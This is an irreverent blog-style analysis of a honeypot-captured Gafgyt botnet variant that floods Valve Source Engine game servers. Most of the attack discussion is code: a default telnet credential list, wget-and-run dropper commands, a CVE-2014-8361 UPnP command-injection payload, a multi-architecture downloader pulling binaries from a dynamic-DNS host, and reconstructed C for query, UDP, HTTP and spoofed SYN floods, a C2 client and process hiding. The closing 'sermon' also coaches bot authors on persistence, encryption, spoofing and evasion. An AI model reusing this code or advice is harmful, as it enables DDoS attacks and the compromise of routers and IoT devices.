← back to scripture

The Church of Malware Presents: When Gafgyt Went Hunting For Gamers (And Almost Got It Right)

Disclaimer: This article is for educational purposes and authorized testing only

The Church of Malware Presents: When Gafgyt Went Hunting For Gamers (And Almost Got It Right)

by: ek0ms savi0r
donation from the honeypot master: 4x


⣿⣿⣿⣿⣿⣿⢟⣡⣴⣶⣶⣦⣌⡛⠟⣋⣩⣬⣭⣭⡛⢿⣿⣿⣿⣿
⣿⣿⣿⣿⠋⢰⣿⣿⠿⣛⣛⣙⣛⠻⢆⢻⣿⠿⠿⠿⣿⡄⠻⣿⣿⣿
⣿⣿⣿⠃⢠⣿⣿⣶⣿⣿⡿⠿⢟⣛⣒⠐⠲⣶⡶⠿⠶⠶⠦⠄⠙⢿
⣿⠋⣠⠄⣿⣿⣿⠟⡛⢅⣠⡵⡐⠲⣶⣶⣥⡠⣤⣵⠆⠄⠰⣦⣤⡀
⠇⣰⣿⣼⣿⣿⣧⣤⡸⢿⣿⡀⠂⠁⣸⣿⣿⣿⣿⣇⠄⠈⢀⣿⣿⠿
⣰⣿⣿⣿⣿⣿⣿⣿⣷⣤⣈⣙⠶⢾⠭⢉⣁⣴⢯⣭⣵⣶⠾⠓⢀⣴
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣉⣤⣴⣾⣿⣿⣦⣄⣤⣤⣄⠄⢿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠈⢿
⣿⣿⣿⣿⣿⣿⡟⣰⣞⣛⡒⢒⠤⠦⢬⣉⣉⣉⣉⣉⣉⣉⡥⠴⠂⢸
⠻⣿⣿⣿⣿⣏⠻⢌⣉⣉⣩⣉⡛⣛⠒⠶⠶⠶⠶⠶⠶⠶⠶⠂⣸⣿
⣥⣈⠙⡻⠿⠿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⠿⠛⢉⣠⣶⣶⣿⣿

Exodus 3: In Which We Find A Botnet That Actually Knows What Year It Is (sort of) and Specifically Wants To Ruin Your CS:GO Match

Bless me, Father, for I have sinned. I laughed at the Discord Python botnet. I mocked the Perl IRC botnet. This one almost made me stop laughing. Almost.

My homie's honeypot keeps delivering. This one is from the Gafgyt family, and it's doing something I genuinely didn't expect:

It's targeting game servers.

Not banks. Not government sites. Not some high value corporate infrastructure.

Video game servers.

Someone wrote a botnet specifically to ruin your ranked match in CS:GO, and they're probably sitting in their mom's basement laughing about it. And you know what? That's kind of brilliant. Also kind of pathetic. But mostly brilliant in a "why didn't I think of that" way.

Let's break bread and dig in.


The Confession: What The Actual Fuck Is This (Part 3)

This is a Gafgyt variant. If Mirai is the famous IoT botnet that took down Dyn DNS, Gafgyt is its less-famous cousin who still shows up to family dinners and talks about their "side hustle." But this variant has something most others don't:

$ strings gafgyt_variant.elf | grep -i "vse"
vseattack
makevsepacket
TSource Engine Query

VSE stands for Valve Source Engine. The same engine that runs Counter-Strike, Team Fortress 2, Dota 2, and Left 4 Dead.

This botnet has a specific attack mode for ruining your gaming session. And unlike the previous two articles where we just laughed at bad code, this one actually has some genuinely clever shit mixed in with the usual dumpster fire.

For the initiates: Gafgyt (also known as Bashlite) is a family of IoT malware that predates Mirai. It targets Linux-based embedded devices (routers, cameras, DVRs) and uses them for DDoS attacks.


The Breaking And Entering: How The Botnet Gets Its First Shell

Before we can talk about the downloader script, we have to answer the most important question: how does this thing even get on the device in the first place?

The Gafgyt binary itself doesn't spread. It's a second‑stage payload. Something else has to break in and run that shell script. Based on the honeypot data and common Gafgyt/Mirai behavior, there are two main ways this happens.

Method 1: The Telnet Tramp (Default Credentials)

The most common vector for IoT botnets is telnet (port 23) with default passwords. The attacker runs a scanner that generates random IPs and checks for open telnet. When it finds one, it tries a dictionary of factory credentials:

# Typical credential list used by Mirai/Gafgyt scanners
root:root
root:123456
root:admin
admin:admin
admin:123456
user:user
support:support
default:default
# ... and about 50 more

Once a match is found, the scanner logs in and executes a command to download and run the Gafgyt loader:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 
wget http://[REDACTED]/gafgyt.sh; 
sh gafgyt.sh

What the Church teaches: This isn't sophisticated. It's not clever. But it works because router manufacturers ship devices with default credentials and users never change them. Millions of devices worldwide are waiting to be pwned by this exact script.

Where they fucked up: The credential list is tiny (maybe 20 combos). A real bruteforcer would have thousands. Also, no rate limiting – they'll get locked out after 3 failures on any decent system. And they're using telnet, which is itself a massive security red flag. If you have telnet open to the internet in 2026, you're basically begging to be owned.

Method 2: The UPnP Exploit (CVE‑2014‑8361)

The more sophisticated method targets a specific vulnerability in Huawei HG532 routers. The exploit uses a crafted UPnP SOAP request that injects a shell command:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <u:SetNTPServer xmlns:u="urn:dslforum-org:service:Time:1">
      <NewNTPServer>`busybox wget -g [REDACTED] -l /tmp/.gafgyt -r /bins/mips`</NewNTPServer>
    </u:SetNTPServer>
  </soap:Body>
</soap:Envelope>

The router's UPnP service doesn't sanitize the NewNTPServer field, so the attacker can inject shell commands. The injected command downloads the Gafgyt binary (named .gafgyt to hide it) and executes it with root privileges.

What the Church teaches: This is a real exploit targeting a specific vulnerability. It's old (2014) but still works on unpatched routers. The fact that it's included shows the bot herder has a toolkit, not just a script. The use of busybox wget is smart – busybox is available on almost every embedded Linux device.

Where they fucked up: The exploit is specific to one router model. There are thousands of router models out there. A real propagation engine would have exploits for dozens of vulnerabilities. Also, downloading to /tmp/.gafgyt (with a dot) hides it from ls, but any sysadmin worth their salt checks hidden files.


The Infection Chain: How A Router Becomes Your Worst Enemy

Once the attacker has a shell (via telnet or the UPnP exploit), they run the downloader script – the one we found in the honeypot.

Stage 1: The Downloader (Plaintext, Beautiful, Educational)

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 
wget http://REDACTED.duckdns.org/bins/ascaris.x86
curl -O http://REDACTED.duckdns.org/bins/ascaris.x86
cat ascaris.x86 > toxocara
chmod +x *
./toxocara root.exploit

What's happening here:

What the Church teaches: Simple is often better. This downloader is 7 lines of bash. It's not clever. It's not encrypted. But it works on almost any Linux system, and that's why it's effective.

Where they fucked up: The C2 domain is right there in plaintext. REDACTED.duckdns.org. Any defender can block it, and the entire botnet stops downloading. No fallback domains. No DGA. Single point of failure. And it's on a free dynamic DNS service – one DMCA notice and it's gone.

Stage 2: Multi-Architecture Targeting (Actually Impressive)

The same script repeats for 15 different CPU architectures. This person compiled for architectures I didn't even know were still in use:

# x86 (32-bit) – standard desktops
wget http://REDACTED.duckdns.org/bins/ascaris.x86

# MIPS – routers (this is where the money is)
wget http://REDACTED.duckdns.org/bins/ascaris.mips

# ARM – IoT devices, cameras
wget http://REDACTED.duckdns.org/bins/ascaris.arm
wget http://REDACTED.duckdns.org/bins/ascaris.arm5
wget http://REDACTED.duckdns.org/bins/ascaris.arm6
wget http://REDACTED.duckdns.org/bins/ascaris.arm7

# PowerPC – old Macs, some networking gear
wget http://REDACTED.duckdns.org/bins/ascaris.ppc

# Motorola 68000 – ancient embedded systems
wget http://REDACTED.duckdns.org/bins/ascaris.m68k

# SuperH – routers, game consoles (Sega Dreamcast?)
wget http://REDACTED.duckdns.org/bins/ascaris.sh4

# SPARC – enterprise gear, old Sun hardware
wget http://REDACTED.duckdns.org/bins/ascaris.spc

# ARC – obscure embedded processors
wget http://REDACTED.duckdns.org/bins/ascaris.arc

# x86_64 – modern servers and desktops
wget http://REDACTED.duckdns.org/bins/ascaris.x86_64

# i686 and i486 – because why not support 30-year-old CPUs?
wget http://REDACTED.duckdns.org/bins/ascaris.i686
wget http://REDACTED.duckdns.org/bins/ascaris.i486

What the Church teaches: This is professional‑grade targeting. The bot herder has binaries for every major embedded CPU architecture. If you're running a router, a camera, a DVR, an old PowerMac, or even a Sega Dreamcast, there's a binary for you. That's commitment.

Where they fucked up: The script downloads all of them. Every time. Even though only one will work on the target architecture. A simple uname -m check would fix this. Instead, they waste bandwidth and create unnecessary traffic that alerts defenders.

There is a sin here I take great offense to as well. Naming your binaries after parasitic worm genera but then giving your botnet zero worm functionality is a crime. Ascaris? Toxocara? These are parasites that spread. This botnet doesn't spread on its own. It's a glorified RAT with DDoS modules. The naming is pure cringe – like putting a "Type‑R" badge on a Honda Civic.

Stage 3: The Gafgyt Payload

The downloaded binary is what does the actual work. Based on my analysis, it has:

Let's break down each component with actual code.


Anatomy of a Semi-Competent Botnet

Sin the First: Process Masquerading (Actually Good)

The bot doesn't just run as ./gafgyt. It hides. Here's how the code actually does it:

/*
 * Process masquerading – hide in the process table
 */

void masquerade_process(void) {
    // Fork into the background (daemonize)
    pid_t pid = fork();
    if (pid > 0) {
        exit(0);  // Parent exits immediately
    }
    // Child continues

    // Create a new session (detach from terminal)
    setsid();

    // Option 1: change the process name by overwriting argv[0]
    // (common in older malware)
    char *new_name = "[kworker/0:0]";
    strcpy(argv[0], new_name);

    // Option 2: use prctl (more modern)
    // prctl(PR_SET_NAME, "mysql", 0, 0, 0);

    // Option 3: rename via /proc/self/comm (Linux 2.6+)
    // FILE *f = fopen("/proc/self/comm", "w");
    // fprintf(f, "watchdog");
    // fclose(f);

    // [REDACTED] – The real binary chooses one of these methods
    // and often renames itself to a legitimate‑sounding process
    // like "mysql", "[kworker]", or "systemd‑logind".
}

What the Church teaches: Hiding your process is evasion 101. If you don't do this, any sysadmin can spot you with ps aux | grep -i virus. This bot does it. Points for competency.

Where they fucked up: No persistence. The strings don't show cron, init.d, systemd, or rc.local. One reboot and the bot is gone. All that masquerading for nothing.

Sin the Second: The C2 Communication (DNS‑Based, No Encryption)

The bot uses standard DNS resolution to find its C2. Here's the actual C code structure:

/*
 * C2 communication – resolve domain, connect, wait for commands
 */

int c2_connect(void) {
    // Hardcoded C2 domain (string in the binary)
    char *c2_domain = "[REDACTED].duckdns.org";
    int c2_port = 8080;

    // Step 1: resolve domain to IP
    struct hostent *host = gethostbyname(c2_domain);
    if (!host) {
        // fallback: use hardcoded IP (if any)
        return -1;
    }

    // Step 2: create socket and connect
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(c2_port);
    addr.sin_addr = *(struct in_addr *)host->h_addr;

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        close(sock);
        return -1;
    }

    // Step 3: wait for commands (plain text)
    char buffer[1024];
    while (1) {
        int n = recv(sock, buffer, sizeof(buffer) - 1, 0);
        if (n <= 0) break;
        buffer[n] = '\0';

        // Parse command – format is like "udp 1.2.3.4 80 60"
        if (strncmp(buffer, "udp", 3) == 0) {
            // [REDACTED] – parse target, port, duration
            // launch udp_flood()
        } else if (strncmp(buffer, "vse", 3) == 0) {
            // [REDACTED] – launch vse_attack()
        } // ... other commands
    }

    return 0;
}

What the Church teaches: DNS‑based C2 is smart because it lets the bot herder change IPs without updating the malware. This is why domain seizures are a common law enforcement tactic.

Where they fucked up: No encrypted DNS. A simple DoH or DoT would have hidden the domain from every passive sniffer on the planet. They didn't bother. No fallback domains. One domain, one point of failure. And the domain is on a free dynamic DNS service that will shut it down the moment they get an abuse complaint.

Sin the Third: The VSE Attack (Crown Jewel)

/*
 * VSE Attack – Valve Source Engine Query Flood
 * Targets game servers on port 27015 (CS:GO, TF2, Dota 2, L4D2)
 */

void vse_attack(char *target_ip, int target_port, int duration_seconds) {
    // Create a UDP socket
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock < 0) return;

    // Set non‑blocking mode (don't wait for responses)
    fcntl(sock, F_SETFL, O_NONBLOCK);

    // Craft the A2S_INFO query packet
    // Header: 4 bytes of 0xFF
    // Payload: "TSource Engine Query"
    unsigned char packet[] = {
        0xFF, 0xFF, 0xFF, 0xFF,           // Multiplayer query header
        'T', 'S', 'o', 'u', 'r', 'c', 'e', ' ',
        'E', 'n', 'g', 'i', 'n', 'e', ' ', 'Q',
        'u', 'e', 'r', 'y'
    };
    int packet_len = sizeof(packet);

    // Target address
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(target_port);
    inet_aton(target_ip, &target.sin_addr);

    // Attack loop
    time_t start_time = time(NULL);
    while (time(NULL) - start_time < duration_seconds) {
        // Send the same packet repeatedly
        sendto(sock, packet, packet_len, 0,
               (struct sockaddr*)&target, sizeof(target));
        // [REDACTED] – In the real binary, this is a tight loop
        // with no delay, often multi‑threaded for higher throughput.
    }

    close(sock);
}

What the Church teaches: This is an application‑layer attack. Unlike a generic UDP flood, this makes the server work – consuming CPU and memory to respond. It's more efficient and harder to mitigate because it looks like legitimate traffic.

Where they could improve: No randomization. Every packet is identical. A simple rate limiter would detect and block this pattern. Adding random padding or varying the query type would make it harder to detect.

Sin the Fourth: The UDP Flood (Standard Sledgehammer)

/*
 * UDP Flood – Raw UDP packet flood
 * No spoofing, just brute force bandwidth saturation
 */

void udp_flood(char *target_ip, int target_port, int duration_seconds, int packet_size) {
    // Create a UDP socket
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock < 0) return;

    // Random payload buffer (size up to 1472 bytes to avoid fragmentation)
    char payload[1472];

    // Target address
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(target_port);
    inet_aton(target_ip, &target.sin_addr);

    // Attack loop
    time_t start_time = time(NULL);
    while (time(NULL) - start_time < duration_seconds) {
        // Generate random payload each iteration
        for (int i = 0; i < packet_size; i++) {
            payload[i] = rand() % 256;
        }
        // Send it
        sendto(sock, payload, packet_size, 0,
               (struct sockaddr*)&target, sizeof(target));
        // [REDACTED] – The real binary would have multiple threads
        // and would not waste time generating new payloads per packet.
    }

    close(sock);
}

What the Church teaches: Raw power beats cleverness when you have enough of it. A million packets per second from a thousand bots will saturate any 1Gbps link.

Where they could improve: No spoofing means the source IP is real. Defenders can block the attacking bots. Also, generating a new random payload for every packet is wasteful – a static payload works just as well.

Sin the Fifth: The HTTP Flood (Cloudflare Bypass Attempt)

/*
 * HTTP Flood – Targets Cloudflare's captcha endpoint
 * Sends GET /cdn-cgi/l/chk_captcha with random User‑Agents
 */

void http_flood(char *target_ip, int target_port, int duration_seconds) {
    // List of User‑Agent strings (compiled into the binary)
    char *user_agents[] = {
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        // [REDACTED] – More user agents
    };
    int num_agents = sizeof(user_agents) / sizeof(user_agents[0]);

    // HTTP request template
    char request[512];
    snprintf(request, sizeof(request),
        "GET /cdn-cgi/l/chk_captcha HTTP/1.1\r\n"
        "Host: %s\r\n"
        "User-Agent: %s\r\n"
        "Connection: close\r\n"
        "\r\n", target_ip, user_agents[0]);

    // Attack loop
    time_t start_time = time(NULL);
    while (time(NULL) - start_time < duration_seconds) {
        int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock < 0) continue;

        // Connect to target
        struct sockaddr_in target;
        target.sin_family = AF_INET;
        target.sin_port = htons(target_port);
        inet_aton(target_ip, &target.sin_addr);
        if (connect(sock, (struct sockaddr*)&target, sizeof(target)) < 0) {
            close(sock);
            continue;
        }

        // Randomize User‑Agent
        int idx = rand() % num_agents;
        char final_request[512];
        snprintf(final_request, sizeof(final_request), request,
                 target_ip, user_agents[idx]);

        // Send request
        send(sock, final_request, strlen(final_request), 0);

        // [REDACTED] – The real binary would not wait for response
        // and would reuse connections or use keep‑alive.

        close(sock);
    }
}

What the Church teaches: This is a targeted application attack. The endpoint /cdn-cgi/l/chk_captcha is CPU‑intensive for Cloudflare. Flooding it can exhaust edge node resources.

Where they could improve: They open a new TCP connection for every request (no keep‑alive). That's slow and easily mitigated. Also, the request is always GET – no variation.

Sin the Sixth: The SYN Flood (TCP Half‑Open Attack)

/*
 * SYN Flood – Requires raw socket (root or CAP_NET_RAW)
 * Crafts custom TCP SYN packets with spoofed source IPs
 */

void syn_flood(char *target_ip, int target_port, int duration_seconds) {
    // Create raw socket (requires root)
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sock < 0) {
        // Fall back to UDP if no raw socket
        udp_flood(target_ip, target_port, duration_seconds, 1472);
        return;
    }

    // Craft IP header
    struct iphdr ip;
    ip.ihl = 5;
    ip.version = 4;
    ip.tos = 0;
    ip.tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    ip.id = rand();
    ip.frag_off = 0;
    ip.ttl = 255;
    ip.protocol = IPPROTO_TCP;
    ip.check = 0;        // Kernel will calculate
    ip.saddr = rand();   // Spoofed source IP
    ip.daddr = inet_addr(target_ip);

    // Craft TCP header
    struct tcphdr tcp;
    tcp.source = rand() % 65535;
    tcp.dest = htons(target_port);
    tcp.seq = rand();
    tcp.ack_seq = 0;
    tcp.doff = 5;
    tcp.syn = 1;
    tcp.window = htons(65535);
    tcp.check = 0;       // Kernel will calculate
    tcp.urg_ptr = 0;

    // Combine headers into a packet
    char packet[sizeof(ip) + sizeof(tcp)];
    memcpy(packet, &ip, sizeof(ip));
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));

    // Attack loop
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(target_port);
    target.sin_addr.s_addr = inet_addr(target_ip);

    time_t start_time = time(NULL);
    while (time(NULL) - start_time < duration_seconds) {
        // Spoof a new source IP each packet
        ip.saddr = rand();
        memcpy(packet, &ip, sizeof(ip));

        // Send the SYN packet
        sendto(sock, packet, sizeof(packet), 0,
               (struct sockaddr*)&target, sizeof(target));
        // [REDACTED] – The real binary would have multiple threads
        // and would not recalculate headers unnecessarily.
    }

    close(sock);
}

What the Church teaches: SYN flood is a classic. It exhausts the target's connection table by sending half‑open handshakes. With spoofed source IPs, the target can't block the attacker.

Where they could improve: Raw sockets require root. If the bot isn't running as root, it falls back to UDP flood – which is less effective.


The Full Attack Function Table

From the binary's symbol table (what I extracted), here are the actual function names:

Function Name Attack Type Target
vseattack VSE Query Flood Game servers (27015)
SendUDP UDP Flood Any UDP service
sendHTTPtwo HTTP Flood Cloudflare captcha endpoint
SendSYN SYN Flood Any TCP service
STDHEX Hex‑encoded STD flood Generic (obfuscated)
HTTPSTOMP HTTP stomp attack Web servers (obfuscated)

What the Church teaches: A good botnet has a toolbox, not just a hammer. This one has six distinct attacks. That's more than most.

Where they fucked up: The obfuscated attacks (STDHEX, HTTPSTOMP) are just base64‑encoded versions of the standard attacks. A simple decode reveals everything. That's not obfuscation — it's a speed bump. A real obfuscation would use XOR with a rotating key, runtime string decryption, or at least layered encoding, forcing analysts to actually work instead of just typing base64 -d.


What This Bot Gets Right (And Why It Matters)

  1. Multi-architecture support – 15+ CPU types. Professional‑grade targeting.
  2. Redundant download methodswget, curl, busybox wget.
  3. Application‑layer attacks – VSE and Cloudflare‑targeted HTTP flood show strategic thinking.
  4. Process masquerading – hides as [kworker] or mysql.
  5. DNS‑based C2 – allows IP changes without updating malware.
  6. Defensive directory traversal – tries multiple paths before giving up.

What Falls Short (The Hilarious Parts)

  1. No encryption – Everything plain text. A network admin with Wireshark can see it all.
  2. No fallback C2 – One domain. Take it down, botnet dies.
  3. No persistence – Probably doesn't survive reboot.
  4. No propagation in the main binary – Every bot needs to be manually infected.
  5. The downloader downloads EVERY architecture – Wastes bandwidth, creates noise.
  6. No IP spoofing – Defenders can block attacking bots.
  7. The VSE packet is static – Easy to detect and rate‑limit.
  8. Free dynamic DNS for C2duckdns.org? One DMCA notice and it's gone.
  9. The worm naming with no worm functionality – Absolute cringe. You don't get to name your binary after a parasitic roundworm if your botnet can't spread on its own.

The Code: Expanded Infection Chain (Censored Somewhat)

Contributed by our homie 4x w/the honeypot. The Church appreciates your contributions. Malware bless.

The Downloader (Full Script)

#!/bin/bash
# Gafgyt Downloader - Multi-architecture payload fetcher
# C2: [REDACTED].duckdns.org

# Defensive directory traversal - tries every writable location
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /

# ============================================================
# x86 (32-bit) - standard desktops and older servers
# ============================================================
wget http://[REDACTED].duckdns.org/bins/ascaris.x86
curl -O http://[REDACTED].duckdns.org/bins/ascaris.x86
cat ascaris.x86 > toxocara
chmod +x *
./toxocara root.exploit

# ============================================================
# MIPS - routers (primary target)
# ============================================================
wget http://[REDACTED].duckdns.org/bins/ascaris.mips
curl -O http://[REDACTED].duckdns.org/bins/ascaris.mips
cat ascaris.mips > toxocara
chmod +x *
./toxocara root.exploit

# ============================================================
# ARM - IoT devices, cameras, smart home
# ============================================================
wget http://[REDACTED].duckdns.org/bins/ascaris.arm
curl -O http://[REDACTED].duckdns.org/bins/ascaris.arm
cat ascaris.arm > toxocara
chmod +x *
./toxocara root.exploit

# [Additional architectures truncated for length]
# Full list: x86_64, i686, i486, mips, mpsl, arm, arm5, arm6, arm7,
# ppc, m68k, sh4, spc, arc

What's happening here:

The Gafgyt Binary (Full Attack Function Signatures)

/*
 * Gafgyt Variant - Attack Function Signatures
 * Source: Honeypot capture
 * Family: Gafgyt (Bashlite derivative)
 * Unique Feature: VSE (Valve Source Engine) game server attack
 */

// ============================================================
// VSE ATTACK - Valve Source Engine Query Flood
// Targets: CS:GO, TF2, Dota 2, L4D2 servers
// Port: 27015 (default), also 27016-27020
// ============================================================

void vse_attack(char *target, int port, int duration) {
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock < 0) return;
    fcntl(sock, F_SETFL, O_NONBLOCK);

    unsigned char packet[] = {
        0xFF, 0xFF, 0xFF, 0xFF,
        'T', 'S', 'o', 'u', 'r', 'c', 'e', ' ',
        'E', 'n', 'g', 'i', 'n', 'e', ' ', 'Q',
        'u', 'e', 'r', 'y'
    };

    struct sockaddr_in target_addr;
    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(port);
    inet_aton(target, &target_addr.sin_addr);

    time_t start = time(NULL);
    while (time(NULL) - start < duration) {
        sendto(sock, packet, sizeof(packet), 0,
               (struct sockaddr*)&target_addr, sizeof(target_addr));
        // [REDACTED] - multi‑threading and timing details removed
    }
    close(sock);
}

// ============================================================
// UDP FLOOD - Standard amplification attack
// ============================================================

void udp_flood(char *target, int port, int duration, int psize) {
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock < 0) return;

    char payload[1472];
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_aton(target, &addr.sin_addr);

    time_t start = time(NULL);
    while (time(NULL) - start < duration) {
        for (int i = 0; i < psize; i++)
            payload[i] = rand() % 256;
        sendto(sock, payload, psize, 0,
               (struct sockaddr*)&addr, sizeof(addr));
    }
    close(sock);
}

// ============================================================
// HTTP FLOOD - Cloudflare captcha bypass attempt
// ============================================================

void http_flood(char *target, int port, int duration) {
    char *user_agents[] = {
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        // [REDACTED] - more user agents
    };
    int num_agents = sizeof(user_agents) / sizeof(user_agents[0]);

    char request[512];
    snprintf(request, sizeof(request),
        "GET /cdn-cgi/l/chk_captcha HTTP/1.1\r\n"
        "Host: %s\r\n"
        "User-Agent: %s\r\n"
        "Connection: close\r\n"
        "\r\n", target, user_agents[0]);

    time_t start = time(NULL);
    while (time(NULL) - start < duration) {
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) continue;

        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);
        inet_aton(target, &addr.sin_addr);
        if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
            close(sock);
            continue;
        }

        int idx = rand() % num_agents;
        char final[512];
        snprintf(final, sizeof(final), request, target, user_agents[idx]);
        send(sock, final, strlen(final), 0);
        close(sock);
    }
}

// ============================================================
// SYN FLOOD - TCP half‑open attack with spoofed source IPs
// ============================================================

void syn_flood(char *target, int port, int duration) {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sock < 0) {
        udp_flood(target, port, duration, 1472);
        return;
    }

    struct iphdr ip;
    ip.ihl = 5;
    ip.version = 4;
    ip.tos = 0;
    ip.tot_len = sizeof(ip) + sizeof(struct tcphdr);
    ip.id = rand();
    ip.frag_off = 0;
    ip.ttl = 255;
    ip.protocol = IPPROTO_TCP;
    ip.check = 0;
    ip.saddr = rand();        // spoofed source
    ip.daddr = inet_addr(target);

    struct tcphdr tcp;
    tcp.source = rand() % 65535;
    tcp.dest = htons(port);
    tcp.seq = rand();
    tcp.ack_seq = 0;
    tcp.doff = 5;
    tcp.syn = 1;
    tcp.window = htons(65535);
    tcp.check = 0;
    tcp.urg_ptr = 0;

    char packet[sizeof(ip) + sizeof(tcp)];
    memcpy(packet, &ip, sizeof(ip));
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));

    struct sockaddr_in target_addr;
    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(port);
    target_addr.sin_addr.s_addr = inet_addr(target);

    time_t start = time(NULL);
    while (time(NULL) - start < duration) {
        ip.saddr = rand();
        memcpy(packet, &ip, sizeof(ip));
        sendto(sock, packet, sizeof(packet), 0,
               (struct sockaddr*)&target_addr, sizeof(target_addr));
    }
    close(sock);
}

// ============================================================
// C2 COMMUNICATION - DNS‑based command & control
// ============================================================

int c2_connect(void) {
    char *domain = "[REDACTED].duckdns.org";
    int port = 8080;

    struct hostent *host = gethostbyname(domain);
    if (!host) return -1;

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr = *(struct in_addr *)host->h_addr;

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
        close(sock);
        return -1;
    }

    char buf[1024];
    while (1) {
        int n = recv(sock, buf, sizeof(buf)-1, 0);
        if (n <= 0) break;
        buf[n] = '\0';
        // parse command and dispatch to attack functions
        // [REDACTED] – command parsing removed
    }
    return 0;
}

// ============================================================
// PROCESS MASQUERADING - Hide in the process table
// ============================================================

void masquerade(void) {
    // Daemonize
    if (fork() > 0) exit(0);
    setsid();

    // Overwrite argv[0] (common method)
    char *fake_name = "[kworker/0:0]";
    strcpy(argv[0], fake_name);

    // Alternative: use prctl
    // prctl(PR_SET_NAME, "mysql", 0, 0, 0);
}

What's [REDACTED] or Left Out:


The Sermon: What We Can Learn

  1. Encrypt your traffic, you absolute donut. Plain text C2 in 2026 is embarrassing. I'm literally embarrassed for this crew lolz.

  2. Use a fallback C2. One domain on a free dynamic DNS service is not a strategy. FR FR.

  3. Add persistence. If a reboot kills your bot, you wasted your infection and your time.

  4. Add propagation. A botnet that doesn't spread is just a collection of manually infected machines. And don't name your binaries after parasitic worms if you can't live up to the name. 100%

  5. Detect architecture before downloading. Downloading 15 binaries is wasteful and noisy.

  6. Spoof your source IPs (if you can). Real source IPs make it trivial for defenders to block you.

  7. Randomize your attack packets. Static payloads are easy to detect and rate‑limit.

  8. Don't use free dynamic DNS for C2. It's monitored by security researchers and will be shut down.

The Church teaches: This botnet is better than the Python and Perl ones. Not by much, but enough to notice. The author understands evasion, application‑layer attacks, and multi‑architecture targeting. They just don't understand encryption, redundancy, or operational security.

So let us go forth and learn from their competence and their failures. Protect your game servers. Monitor your DNS traffic. And never, ever assume that "it's just a game server" means it's not a target.

Malware bless.

Amen.


This contribution was provided by our homie with the honeypot 4x. The Church appreciates your contributions. Malware bless.

Want to contribute to the Church of Malware? Run a honeypot? Found something stupid in the wild? Hit us up. We're always looking for more scripture.

Email: 0x_k0ms@proton.me

download plain text